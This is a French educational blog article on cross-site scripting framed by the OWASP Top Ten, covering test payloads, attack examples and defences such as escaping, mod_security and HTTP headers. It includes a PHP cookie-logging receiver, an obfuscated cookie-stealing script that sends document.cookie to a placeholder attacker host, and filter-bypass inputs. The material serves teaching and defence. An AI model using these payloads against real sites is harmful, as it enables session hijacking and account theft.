OWASP / Cross-Site Scripting (XSS)

Publié le Mis à jour le Par

Dans ce deuxième article de la série consacrée aux failles applicatives, j’aborde les injections XSS au travers de l’OWASP. Vous découvrirez ces failles et apprendrez à les détecter. Vous verrez enfin les moyens de vous en prémunir.

Introduction

De nombreux langages interprétés existent et chacun apporte un certain nombre de fonctionnalités. Or, plus les fonctionnalités sont étendues plus le risque de les détourner de leur usage dit “standard” est important.
Couramment, nous utilisons un navigateur web pour surfer sur la toile ; cet outil interprète de nombreux langages informatiques différents de manière plus ou moins transparente pour l’utilisateur. Il est possible d’exploiter cette caractéristique pour des usages douteux.
Cet article présente plusieurs types d’exploitations possibles via des injections XSS.

Rappel

L’OWASP (Open Web Application Security Project) dispose d’un projet de classification des failles les plus couramment utilisées par des utilisateurs malintentionnés sur Internet. Ce document est accompagné d’une qualification des menaces listées et d’une explication sur l’exploitation.

Ce projet se nomme le “Top Ten » (et sort chaque année si le classement évolue), il est disponible à cette adresse : https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

En 2010, les failles de type injections XSS arrivaient en 2ème position, tandis que cette année elles arrivent en 3ème position.

Qualification de la menace

XSS où « Cross-Site Scripting » est l’une des failles les plus répandues dans les sites Web dynamiques. Elle fait partie de la famille des attaques par injection.

Le terme « Cross-Site Scripting » fait référence à une attaque sur un site Web tiers (celui de la victime) par le biais d’un autre site Web distant (celui du pirate) qui n’est pas lié à celui de la victime. Le site de l’attaquant peut servir à deux choses :

  • Soit de relais pour faire transiter les données volées ;
  • Soit il contient les ressources qui seront injectées dans la page attaquée.

Le but de cette attaque est d’effectuer un certain nombre d’actions dans le navigateur de la victime.

Par exemple, une attaque par XSS se produit lorsqu’un utilisateur mal intentionné envoie un code nuisible qui sera exécuté par le navigateur ou l’interpréteur de la victime (HTML, XML, Flash, JavaScript, CSS, JSON, etc.) en utilisant des formulaires ou directement l’URL. L’exploitation de cette faille permettrait notamment d’exécuter des scripts douteux (dans le cas d’une injection JavaScript), de récupérer les informations récoltées sur un serveur distant (cookies, contenu de la page, etc.), de rediriger la victime, de défigurer la structure de la page, etc.

Agent de menace

_

Toutes personnes en mesure de soumettre des données (Utilisateur interne/externe, développeur, administrateur)

Vecteur d’attaque

Exploitation Moyenne

L’attaquant soumet un contenu actif à l’application, qui sera retourné à un navigateur de la victime.

Vraisemblance de la vulnérabilité

Très répandu

XSS est la faiblesse de sécurité la plus répandue dans les applications web.

Détection de la vulnérabilité

Facile

Les failles XSS ont lieu lorsque l’application génère des pages contenant des données soumises par le client sans les avoir validées ou échappées au préalable

Impact technique

Modéré

Vol d’identifiant de session, redirection du client, altération visuelle du site, etc. Le script étant développé par l’attaquant, tout est envisageable.

Impact métier

_

Tout dépend de l’importance du système affecté pour l’activité et de l’impact d’une divulgation de la vulnérabilité

Il existe deux types d’attaques XSS :

  • Reflected XSS (non persistante) :

Lorsque des données sont envoyées par un client et sont affichées telles quelles dans la page résultante sans être encodées en entités HTML.

  • Stored XSS (persistante) :

Lorsque des données sont fournies depuis une source de données quelconque (BDD, fichiers, etc.) et sont affichées telles quelles dans la page résultante sans être encodées en entités HTML. L’impact d’une XSS stockée est d’autant plus grave car elle touche tous les visiteurs de la page piégée.

Sachant que le rôle d’un navigateur est d’interpréter du code source afin d’obtenir un rendu visuel, il n’est pas vraiment possible de brider une tentative d’attaque XSS. Cela nécessiterait de tronquer les fonctionnalités offertes par notre navigateur ou interpréteur en désactivant certaines fonctionnalités nécessaires au fonctionnement d’un site.

Par exemple :

  • Désactiver l’interprétation de CSS empêchera le navigateur d’afficher correctement une page HTML
  • Désactiver l’interprétation du JavaScript bloquera tout comportement interactif mis en place (modification dynamique de la page, appels distants asynchrones, etc.)

Il est difficile de trouver un discriminant valable qui permettrait de définir si une portion de code est dite “bienfaisante” ou “néfaste”.

Méthodes de test et explications

Pour vérifier la présence d’une telle faille sur un site vulnérable, il suffit simplement d’injecter :

1 – Soit des caractères ayant une signification particulière dans l’interpréteur visé.

Attention : Les caractères à injecter dépendent du langage interprété !

Par exemple en HTML, il s’agit de :

  • & (ampersand)
  • " (double quote)
  • ' (single quote)
  • < (less than)
  • > (greater than)

Les sites Web reposent sur le langage HTML, alors que des WebServices peuvent reposer sur d’autres langages comme :

  • Le langage XML (WS via SOAP), il s’agit d’un langage proche du HTML, ici les caractères significatifs sont les mêmes qu’en HTML.
  • Le langage JSON (WS REST via JSON ), les caractères significatifs ne sont pas les mêmes qu’en HTML ! Il y a en plus les caractères suivant :
    • {
    • }
    • [
    • ]
    • :
    • ,

Il est donc nécessaire de prendre en compte ce point pour connaître les caractères interprétables et dangereux.

2 – Soit directement du code interprétable (HTML, JavaScript, Flash, CSS, etc.)

Une fois choisi, le code doit être injecté dans toutes les entrées utilisateurs possibles :

  • Paramètre HTTP GET / POST
  • Cookie (une attaque par le cookie sera possible seulement si le contenu est “url encodé”)
  • Champs de formulaire
  • Source de données quelconque utilisée par le site (fichiers, données échangées, BDD, flux, etc.)

Remarque : il paraît étrange de sécuriser les données en entrées dans un flux de données (au sens large, ex : fichiers, données échangées via une API, BDD, etc.) si on les protège à l’affichage ou vice-versa. Mais imaginons que l’on doive donner une copie de notre flux de données à un partenaire commercial ou l’inverse. Si une des couches n’est pas protégée, c’est l’application qui tombe.

Pour savoir si la faille est avérée, il faut vérifier si le script est interprété coté navigateur ou interpréteur. Pour cela il suffit d’analyser la réponse du serveur et de vérifier si les éléments injectés n’ont pas été ré-encodés pour les rendre non interprétable.

Remarque importante : pour simplifier les exemples qui suivent, nous allons nous concentrer sur les interpréteurs HTML, CSS, JavaScript (navigateur Web standard).

Exemples d’attaques

Prédicat : les exemples de code suivants sont injectés dans des entrées utilisateur sur une application vulnérable.

Tests basiques

Par exemple dans un formulaire HTML ou l’un des champs est vulnérable, il suffit de le remplir comme ceci :

Langage utiliséExemple de code injecté
Javascript <script type=’text/javascript’> alert(‘Vulnérabilité détectée : faille XSS’); </script>
CSS<style type="text/css"> body { background-color: red; background-image: none; } </style>
HTML<b>Si ce texte est en gras, c’est que le site est potentiellement vulnérable</b>
HTML + CSS<b style=”text-decoration:blink;”> Si ce texte est en gras et clignote, c’est que le site est vulnérable </b>

Pour savoir si la faille est avérée, il faut vérifier si le script est interprété coté navigateur :

  1. Le premier exemple affichera une fenêtre de type pop-up avec le texte suivant : « Vulnérabilité détecté : faille XSS » ;
  2. le second changera la couleur du fond de la page en rouge et enlèvera (si existante) l’image de fond ;
  3. le troisième affichera « Si ce texte est en gras, c’est que le site est potentiellement vulnérable » en gras. Dans ce cas, il est aussi possible que l’application supporte simplement la contribution riche. Le support des balises HTML n’est toutefois pas la solution la plus optimale ;
  4. le dernier affichera « Si ce texte est en gras et clignote, c’est que le site est vulnérable » en gras et clignotant.

Remarque importante : La faille est d’autant plus grave si la saisie utilisateur est enregistrée en base de données (ex: saisie d’un commentaire). En effet, le navigateur de chaque visiteur interprétera le code malicieux sur la page infectée, il s’agit ici d’une XSS stockée.

Destruction de la page (defacement)

<script type="text/javascript">
  msg = "<p style=‘text-decoration:blink;color:#F00;’> Vous êtes victime d’une attaque XSS ! </p>";
  document.write(msg);
</script>

Ici le contenu de la page est remplacé par la phrase : « Vous êtes victime d’une attaque XSS ! » clignotant en rouge.

Redirection

Cette redirection peut amener sur un site piégé, par exemple une copie du site vulnérable. Cette attaque par phishing permettrait de voler les identifiants d’un utilisateur dupe.

Vol de cookie (Cookie Stealing)

Lorsque le navigateur interprète le script, il ajoute à l’arbre DOM un élément image dans le corps de la page. Le navigateur requêtera ensuite le serveur afin de récupérer cette soi-disant “image”, sauf que cette ressource n’existe pas : il s’agit d’un subterfuge pour voler l’ensemble des cookies associés au domaine courant. Ce serveur distant stockera le cookie en base et l’utilisateur malveillant pourra générer le cookie dans son navigateur avant d’accéder au compte de la victime.

Remarque importante :

Un cookie est associé à un nom de domaine, il est donc obligatoire d’infecter le site ciblé par une attaque pour extraire (via un script) les cookies de sessions utilisateurs. L’utilisation d’une image (bien sûr invisible : de 0 pixel ou ressource inexistante) permet d’interroger le serveur de l’attaquant de manière silencieuse. Un appel Ajax / XHR (Xml Http Request) aurait été envisageable, mais il existe des politiques de restriction d’appel Ajax depuis un autre domaine (cross-domain).

Cette politique de sécurité / mécanisme se nomme : « Same Origin Policy » (cf: http://en.wikipedia.org/wiki/Same_origin_policy)

Sinon, pour qu’un navigateur n’interdise pas l’appel XHR cross-domain, il faut :

  • Soit passer par un proxy (accessible sur le même domaine) qui transmettra la requête ;
  • Soit utiliser le mécanisme nommé JSON-P (Interface sécurisée d’appel Ajax cross-domain, cf : http://json-p.org/) ;
  • Soit utiliser la nouvelle fonctionnalité implémentée dans HTML5 : Cross-Origin Resource Sharing (CORS) : http://www.w3.org/TR/cors/.

Voici un exemple basique de script pouvant être hébergé sur le serveur pirate :

<?php
 $cookie_id = isset($_GET['cookie']) ? sprintf("Cookie ID received : %sn",$_GET['cookie']) : "No cookie in GET parametern";
 $handle = fopen('trace.log', 'a+');
 fputs($handle, $cookie_id, 1024);
?>

Ce script va simplement enregistrer le cookie des victimes de la faille XSS dans un fichier texte.

Exemple via HTML5

De nombreux exemples sont disponibles depuis l’adresse suivante : http://html5sec.org/#html5

Complexifier la découverte d’une XSS

Technique d’obfuscation

Comme je le disais précédemment, une XSS aura un impact plus important si elle réussit à être stockée sur le serveur distant dans une base de données (dans les commentaires d’un article par exemple), ce type d’exploitation est nommée “Stored XSS”.

La deuxième phase consiste à brouiller les pistes en rendant moins lisible (non intelligible) le code injecté, cette technique s’appelle l’obfuscation.

Reprenons notre exemple précédent : celui qui nous permettait de voler le cookie d’une victime et partons du principe que nous avons trouvé un vecteur d’attaque sur un site lambda pour stocker notre XSS en JavaScript. Une première étape consisterait à cacher l’URL du serveur distant (qui réceptionne le cookie volé), en encodant la chaîne de caractères sous sa forme décimale dans la table ASCII. Le script JavaScript suivant, automatise la procédure d’encodage :

var str = "http://www.serveur-distant.net/page-piege.php?cookie=";
var charCode = "";
for (var i = 0; i < str.length; ++i)
var c = str.charCodeAt(i);
charCode += (0 != i ? ", " : "") + c;
console.log(charCode);

Le script précédent nous retourne la chaîne suivante qui remplacera l’URL du serveur :

String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 115, 101, 114, 118, 101, 117, 114, 45, 100, 105, 115, 116, 97, 110, 116, 46, 110, 101, 116, 47, 112, 97, 103, 101, 45, 112, 105, 101, 103, 101, 46, 112, 104, 112, 63, 99, 111, 111, 107, 105, 101, 61);

Note importante : le gros avantage de créer une chaîne de caractères sous cette forme est le fait de n’utiliser aucune quote (simple ou double). Ainsi il est possible d’outrepasser les mécanismes de protection uniquement basés sur le filtrage de ces deux caractères. De plus, presque tous les langages disposent de ces fonctions : XPATH, SQL, etc…

Autre possibilité :

Transformer cette chaîne de caractères dans sa représentation hexadécimale (toujours selon la table ASCII) pour obtenir la chaîne suivante :

"x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex73x65x72x76x65x75x72x2Dx64x69x73x74x61x6Ex74x2Ex6Ex65x74x2Fx70x61x67x65x2Dx70x69x65x67x65x2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x3D" 

Le langage JavaScript dispose de nombreuses subtilités qui permettent d’aller bien plus loin dans l’obfuscation, certains outils sont disponibles en ligne directement tel que : http://javascriptobfuscator.com/

En utilisant l’outil fourni par le lien précédent mon XSS (une fois obfusqué) serait sous la forme suivante :

var _0x6edc=["x68x74x74x70x3Ax2Fx2Fx77x77x77x2Ex73x65x72x76x65x75x72x2Dx64x69x73x74x61x6Ex74x2Ex6Ex65x74x2Fx70x61x67x65x2Dx70x69x65x67x65x2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x3D","x63x6Fx6Fx6Bx69x65","x69x6Dx67","x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74","x73x72x63","x73x65x74x41x74x74x72x69x62x75x74x65","x61x70x70x65x6Ex64x43x68x69x6Cx64","x62x6Fx64x79"];var addr=_0x6edc[0]+document[_0x6edc[1]];var imgTag=document[_0x6edc[3]](_0x6edc[2]);imgTag[_0x6edc[5]](_0x6edc[4],addr);document[_0x6edc[7]][_0x6edc[6]](imgTag);

Technique de désobfuscation

Un script JavaScript simple et obfusqué peut être rapidement analysé et devenir compréhensible mais il arrive rapidement un moment où notre cerveau n’est plus capable de le “désassembler”.

Pour cela il existe des outils tel que : “JavaScript Deobfuscator“, un plugin Firefox qui permet une fois le script JavaScript compilé, de nous montrer ce qui est réellement exécuté par le moteur de notre navigateur (très pratique dans un cas concret).

Vous pouvez le télécharger sur le site de la fondation Mozilla : https://addons.mozilla.org/en-US/firefox/addon/javascript-deobfuscator/

Comment détecter si notre application est vulnérable ?

Un grand nombre d’outils dédiés à l’automatisation des tests d’intrusions est disponible. On peut citer les plus réputés comme par exemple : OWASP ZAP, Skipfish, Nessus/OpenVAS, W3af, Nikto, etc …

Certains sont dédiés uniquement à l’exploitation de failles de type injection XSS, à savoir :

L’utilisation de ces outils permet de cibler rapidement (dans l’application auditée) une ressource vulnérable aux attaques XSS, mais ne remplace pas, je trouve, les tests manuels : plus complets car le code injecté est construit sur mesure.

Comment sécuriser son application contre les XSS ?

Avant de voir ce que PHP nous propose, je voulais revenir sur une solution trop souvent utilisée par les développeurs débutants qui souhaitent se prémunir des XSS via du code JavaScript…

Mauvaise pratique : contributions utilisateur “riche” (exemple pratique)

Contexte:

Lorsque les utilisateurs du service peuvent contribuer via des éditeurs riches (WYSIWYG) et qu’il est nécessaire d’offrir la possibilité de styliser le contenu.

Mauvaise pratique :

  • Autoriser n’importe quelle balise HTML à l’exception de la balise <script> :

En effet, si la balise est simplement enlevée, par exemple, via les fonctions suivante :

preg_replace(‘/<script>/’,’’, $input)

Ou encore :

str_replace(‘<script>’,’’, $input)

Il sera toujours possible de faire exécuter du JS en feintant le filtrage via la saisie suivante :
<scr<script>ipt>

Ou en passant par la directive “javascript:” au sein d’un attribut lambda tel que :

<a href=”#”  onclick=”javascript:location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,115,101,114,118,101,117,114,45,100,105,115,116,97,110,116,46,110,101,116,47,112,97,103,101,45,112,105,101,103,101,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie;”></a>

La solution préconisée :

Passer par un langage intermédiaire (autre que HTML) où vous n’autoriserez que certains éléments de style/formatage comme par exemple :

  • Le langage XML avec une DTD restreinte (par rapport au HTML) suivi d’une XSLT permettant de transposer le code rédigé (généré en XML par l’éditeur riche) en HTML.
  • Un nouveau langage avec un système alternatif de balisage arborescent (dans le même esprit que BBCode, Wiki ou Markdown pour ne cité qu’eux) ou vous n’autoriserez par exemple que les balises suivantes : [div] [/div] et [br].

Si l’utilisateur venait à insérer d’autres balises que celles autorisées, elles ne seraient pas interprétées par le navigateur.

Dans les deux cas, pour se prémunir des XSS, nous devons restreindre les fonctionnalités du langage interprété : concept de restriction de langage.

Échappement unitaire via PHP

Maintenant que nous avons fait le tour des différentes méthodes d’attaques et mauvaises pratiques, nous allons voir ce que nous propose le langage PHP pour s’en prémunir.

PHP propose deux fonctions permettant d’encoder sous forme d’entités HTML une chaîne de caractères :

  • strip_tags()

Permet de supprimer tous les tags HTML non souhaités (tous tags sauf ceux passés en paramètre de la fonction)

  • htmlspecialchars()

Permet de convertir les caractères &, ,",<,> sous forme d’entités HTML

  • htmlentities()

Permet de convertir tous les caractères sous forme d’entités HTML y compris les caractères ‘à’, ‘é’, ‘è’, etc…

Dans des framework évolués (tel que Symfony) est proposé un mécanisme permettant d’échapper automatiquement (escaping) les données qui transitent d’un contrôleur à la vue (objet “Decorator”) ou entre le contrôleur et le modèle de données (méthode bind() des formulaires). Ce qui revient à protéger les données venant de n’importe quel vecteur d’attaque (BDD, paramètres HTTP, etc.).

WAF – Web Application Firewall

De manière généralisée, il est possible de ne pas traiter les requêtes potentiellement malicieuses via des modules serveurs comme c’est le cas pour le module open-source et cross-platform disponible pour les serveurs Apache, IIS7 et Nginx nommé “mod_security” :

http://www.modsecurity.org/download/

Cette protection est possible, entre autres, via la directive “SecRule” qui permet de définir un pattern pour chaque requête. Ce module inclut aussi un certain nombre de fonctions de transformation qui permettent de normaliser les données avant d’appliquer des opérateurs, tels que : htmlEntityDecode, urlDecodeUni, jsDecode, cssDecode, etc …

Un projet OWASP propose une solution “Out of the box” basée sur ce module et qui se nomme : “OWASP ModSecurity Core Rule Set (CRS)” :

https://owasp.org/www-project-modsecurity-core-rule-set/#tab=Home

Il offre une protection générique contre les vulnérabilités souvent identifiées dans les applications Web dont les XSS.

L’utilisation de cet outil ne fera pas l’objet de cet article, consultez sa documentation pour apprendre à l’utiliser :

https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project#tab=Documentation

Header HTTP

Depuis HTML5, une nouvelle directive a fait surface pour accroître la sécurité contre les Reflected XSS (uniquement) via leheader HTTP suivant : “X-XSS-Protection”.

https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html#reflected-xss

Remarque : cette directive ne fonctionne pas sur « Internet Explorer » inférieur à la 8ème version.

Elle permet de détecter, de prévenir et de désactiver l’exécution de scripts non-autorisés (code contenu dans les paramètres HTTP).

Pour activer cette protection, il faut ajouter la directive suivante dans le header de la réponse HTTP :

X-XSS-Protection: 1; mode=block

Et pour la désactiver :

X-XSS-Protection: 0

Pour en savoir plus sur les fonctionnalités implémentées depuis HTML5, référez-vous au lien suivant :

https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#HTTP_Headers_to_enhance_security

Références, Bibliographie et Webographie